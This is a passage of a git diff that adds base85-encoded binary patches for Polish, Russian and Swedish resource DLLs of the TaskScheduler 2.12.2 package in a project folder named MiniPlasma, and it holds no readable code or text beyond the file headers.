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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..3c7d075b099bf3e07090a3ba59b4fbe74e608db1 GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..842943474fe1fea8f901e1db92228d37700e940d GIT binary patch literal 10752 zcmeHNdwf*Yoj;d{yi>Fv_2H`8kx z94c>AJoSpz#cfu%+vDZ6GFN2lKo$uBNH?pVKQVbH7a5dx+E!q4CFJ0(&u-BStS3i1k^y~kgTHWhP&gZ9p@Q0%O5A&bRkdiN-o?U!TWm=zq zn_8aw%#JV3uY580i_wQ){bNJB`pd{wlagz9UbxWvmqUB+yRBny=H9^5CtjRA z^vgG&e%T6H-#T}>OM;MFF`U&+s#kWI=E|zar`TjQG@C11?Xr@^U8>EaI32ZFe7>xx z4v%|kt|^=TvUrKl>Gdh{RJZK&DpqF}ukzJ89k!WrQ;lbt?4DYC_ubY>wn>xC`8m0A zc3yr)JTsr$>u|{i_iEWoekluDu&St({u{pI?kyuQSm(!&E!y(Zw*5mt+P3t{ob9iF zdU5+8DSg+MuLPdCcFX@fn|yY|3k9C?7q?gMYB}_k?byz7FL!Nt?kA@=tiOJG)_ct_ z{qwui&JN?2w|;dh=dGKco%Gi3*Pea*`TbkZ7i|6H{HjfvzZ;NYyR>-zC!ft6dG2cJ ziaFQTe7N$aj>Y*yu5Nxh>B*G$Z{FdXkbM8uJtNLO|3PZry|<0Z$0)$C)s>A}^g!pR zyJ!A7E#<-gP8+iDjr5x8OBp|3GS772+RnQi3#_@Re?B>7!^&aPs_)!WbRm#b{4e`T zOHMs;e#YhXXUkrAJ@DPJi_>S;?7cYC?;f@wMY*=fdFI{4PYt^7-b4K-HVjUEpdszy z|7TdhrhTKCcFOYgtke4tug^9YL5GZ^Z7&_=(v64aRxE&jef&=>G;Zeun3M?4QH4oZvCH z1HT{OjzEt4L9YmVU*LTn;1}ch9@f@_##OAJ0ql6JwPPe>?Gy0Wjrr}6?IOmTLohF5 zHs)mx=3#Cq-ozT2%u4X)LP}e)W@k>UC_n|VM8MP8N&wiH4`gIE4q&$?0;|R*QJW6R zR`7GOLV(_x7_%b7nW`ijEHHYz_J35_^1FGH4BVXEW~e9T%}Y($?pY~tOS-DpbbE1BJ!2+ zh7$`85GMCU@>kj80O7G9(VD634FHX=2FZ9&L{jUIc)Ps@(yMG4j7^rX2ANk0Tah72 z3@Zc~0^somux=`{b*a$Q%4&tIc9ssXvGHJYKvx#S&L#mQEgobp0IYCH6DtP*PXyqD zrQBfXh7ac_2AYS>Wf-J6fOS@pelNmu6PpK}DKj1hKuWavih=8a{mpDoJa!3mAjeXU znb}JK7!{38F-r;3gzalL+P1LaNO7ncDO@SYE1+N`bvBy}pj&SYbdL}>o6P}ecF#cd z*q~5v08(Z&l93r62tzqSInl%v0LJJ#oh^qEDR|ASBM}{AyBIW7n8gObcX|eBVG^ol zoMiD7bJ!>V#`v%TVpHyz*`3&o5qlQwRgdAu_Py9fxJLRQoRGQ~eerTcgXkp-CIBGP zDUue&biK$BZ?;5xonnEhf|K)&0GNtWpY`=%VSjD{LS8fi6(K6c`gek=up4h4 zVIcj@4G8*@{0zv`dXB8;zD*D`NW2dclW#uW(o@t#yyt*`S>XjYbv58AN^K>o^*9CYr=he9&Vewg&ET!6at(PuPqJN#omYl%^_x z!~~B45?P??0TxqW46tyS+SNT!IKK~cFO!jKXS$~oPB{7%7L(J4MA12Q9e{U6yD~AL zo_xdci^`N3yt@?qHc$!@qeMF^{H-g&7nOci(Jz{1K<~y&hAVdiq#G|S00qzx--%xW zEXF30+h+V6(t%$AU`#DAwy07WKMIUBl?}x2$m9i~pHtzD8f=W9jTwl#I;3Jlh)Hea z7JkiO)4*%MR*H^Ap9b;u2yMCzUb9544`X=^EV8OzE9@bx9~s9WNaM7fT8nlvurBbB*1<9H1K<$uE!uJIcwnP6 zLE8gBT5r)>wf4Z;z$OmZEQSt=h3M(BXK_LD5YT`N+8kgZi(u9U{D+8l zJE%gM7Gb$|VGMs@ow09%2HDWS3=JkqQkFC_TF>JE1ew5kDNoxY?Aa!C?-XKmai{|T zAxmdq6Fqg?90S%`Vx}FF3VMneV-)ya>P@yCs_heIfUY3grhyaI$iW?$Z-!aPpIy=| z+T*YVy$aJG*4m}P+BU4L1v;E8jSx{qHtmF+w-`o{lC__JL_18_D)e0|$fam|2@-0F zIE-MPsqH2AMccfMBB)*HO>W;P-PIkwFc>To69v*($d73AHj{G`1lzbo`)%YrGWrRV zl&T$s9!C=d9OAbX?4X@)ECjy@+y2nBMa*Vs`=Apd6(OT5VSrK;QM`wInjn4)I7wdC zY?4O7mMuhp!WuShrC>x>b|KyF2-*z>pnOJ*1E8Hx1WCxkqgi;bT ze*#QO);K&YMq{FYkyZ36)FYnxhD{S-cFR*|YPbW*r3>5+lTtzHAp263AJnT3Wi*vN zm^iRrxJ9U2YOp5Iqu-RuZQ4F~n@B&T+c&;2Z6SH3Vc`JOa~ok9j`+y0MB86qqK0Zu z(ANmor`T&He}`yCXLV><|2pfbj2e((I6s_wRGK17=QB%ah~(!{`KsgGIQbLl>mDgsodtb%`0FR^bC`#HGd zXso#UyTua2851t*IV`6`^PKD)b3U!~#jjfQ5il~=posx68X47I#o?}33E~vaMetje zWz4H)uVPLunvAk}6{UFoE8f#EGK!s^TD;SRSE*kz`Vz$QPZM(32rOWVe|&|W#+=q^ zF!oyTc@vw!h5@!%+?R;^N^##R?gwzEOUEL;2CykO3%y0$Q^h@9-0u)~v$&hsAa<6S zfO`q|(d<3R#4^Onx7p{I=dh$+ef%W*V3J=@&t%uw7&_JnU6N>V;b<5a@#ne_Qz|`n zpHrU3jQ#`*H5clfvdxP|1uIfj*;VUos&ROoa*-F-t@U|jX0mxbN@%lGR&9!-kr2Wl z24;!J)o67$#cxz8U~lurZ$XkrJhAsO>wk3BqWP)0A3mBqdU;yo_ggMxKDRJ0`_m6>Y44vL{fj2qJ5b?k|aw;%uNzS&m_K6omv=08^N$~`BKac+JsX?w4{op(L3bB=TOly~p= z)(fp$=Im};)Ry#ELE7+FKi+(0Snkxop5NAgC-B~*86Oq>y6?6f3(uVDKk#w4?ej}V zp8M5IdBHp5B{t@U#zYh3ip2aM!%)i|c3I_Ct|B#^GPed}imyZozZ8-YHYLr;d|DdB~#x_W=mqUaQl|Lo#skht&%fTonyDw23{cmm?HXZ2oo$(D$+k>lY>34A zTTEt)2}+}{6zrA4-^@*OPP6#S=&9;EOG-RSsnc0$b-49hmSqzKJ6+c&fQIN!>#+ad zcNhpFq{Ov)^-2#D_@gD%OI0}*7Z&P0Gh_c$-&{=Rqx-Q0_vvgdW)*08+=KTD+-K-r zcXp!B<-btQ=oQkal)cz@f`pJzqIMc|=~;>)fhrwJ)9D4B@>bwXhMG8ZWl|c7Ru7%j zsMrsmrV9Yp(ud=WQWEVRI)0_|oOnuKf{etnLw~vGaKHxaGwBno)4`=noY&FmH+|Ho zVdBAgxC2KRbll3pm*c6^Cn;%#j$!Hele#5MSXluqD;g|x?5p5iZ$)u&B10Hvd|R>w zCLP3cW(mI2F*qI0=tsK5%>!Hxz4c}ehjum`smQ>hZc>=Kex%QZTqF_o**MOQ=y0Ai zpo3vL5h9AZRJ#4hN~90<H@SA&pHg< zLUis#TGFYIUEtTVEWA_CupZLT**S5KhIR>!=zv`Bk8#n3h_;5_{5144WHPL)pWc%0 z4z@~g(CtWa`aqSmqSGyu4aD0mA%9aNjG9OH;7Mn-bd`aI7wuLbe9A*{K~|=9lo(ug z{0|;dD8{JKrV4A52F5`@!Nq&Q6truO@Vw#Oc;7OXi(f5a9`nH?Y!RYOkz*EjJ%(s) zC9Exp>>(Q~keO@}*6y3jV-nt@SfX=6>c*afQ2QS`>K6E4r_I*R literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..953b3661538a75a07e6b52ecb1a5d9668668f280 GIT binary patch literal 9728 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 